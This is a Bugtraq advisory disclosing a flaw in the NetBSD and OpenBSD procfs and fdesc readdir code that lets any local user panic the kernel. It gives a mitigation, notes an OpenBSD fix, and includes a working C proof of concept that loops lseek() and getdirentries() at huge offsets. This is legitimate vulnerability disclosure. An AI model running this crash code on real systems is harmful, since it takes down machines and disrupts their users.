Subject: serious problem in netbsd/openbsd procfs/fdesc To: BUGTRAQ@SECURITYFOCUS.COM Greetings. I have found a nasty bug in the fdesc and procfs filesystems included with NetBSD and OpenBSD. Any user with access to a mounted procfs/fdesc filesystem has the ability to cause a kernel panic. The problem is that the readdir vnodeop for both procfs and fdesc blindly uses the value of element uio_index of the struct uio (passed in by VOP_READDIR()) as an index into an array, without first properly checking its size. sys_getdirentries(), which calls VOP_READDIR(), sets uio_index to the open file's f_offset, which is modified by lseek (among other things). Here's an illustration, taken from procfs_readdir() in OpenBSD's procfs_vnops.c: if (uio->uio_resid < UIO_MX) return (EINVAL); if (uio->uio_offset < 0) return (EINVAL); error = 0; i = uio->uio_offset; [...] for (pt = &proc_targets[i]; uio->uio_resid >= UIO_MX && i < nproc_targets; pt++, i++) { if (pt->pt_valid && (*pt->pt_valid)(p) == 0) continue; One way for a user to take advantage of this problem is as follows: a user opens either a process-specific subdirectory (in the case of procfs) or the root directory (in the case of fdesc). The user then sets the file offset to an unreasonably large (positive) number with lseek(). The user then calls getdirentries(). A temporary solution is to unmount all instances of procfs and fdesc. This is not likely to detrimentally affect anything. Here's example code that tries getdirentries() calls on directories after lseek()ing to high offsets. (warning: if your system is vulnerable, this is very likely to cause a kernel panic) --- cut here --- #include #include #include #include #include #include #include main(int argc, char *argv[]) { int dirfd; unsigned long basep; unsigned long hmm; char buf[2048]; if(argc < 2) { fprintf(stderr, "usage: %s directory\n", argv[0]); exit(1); } if((dirfd = open(argv[1], O_RDONLY)) == -1) { perror("open"); exit(1); } for(hmm = 0xf0000000; hmm <= 0xffffffff; hmm+=1) { if(lseek(dirfd, hmm, SEEK_SET) == -1) { perror("lseek"); exit(1); } /* address won't effectively change, but index variable used as a test * will be very large; kernel's loop should continue and break * something */ if(getdirentries(dirfd, buf, 2048, &basep) == -1) { perror("getdirentries"); exit(1); } } exit(0); } --- cut here --- This problem has existed since at least as far back as OpenBSD 2.3 and NetBSD 1.3.2. Both NetBSD and OpenBSD have been contacted about this. This has been fixed in the current OpenBSD tree and should soon be able from your nearest anoncvs server. Thanks to deraadt@openbsd.org for a quick response. --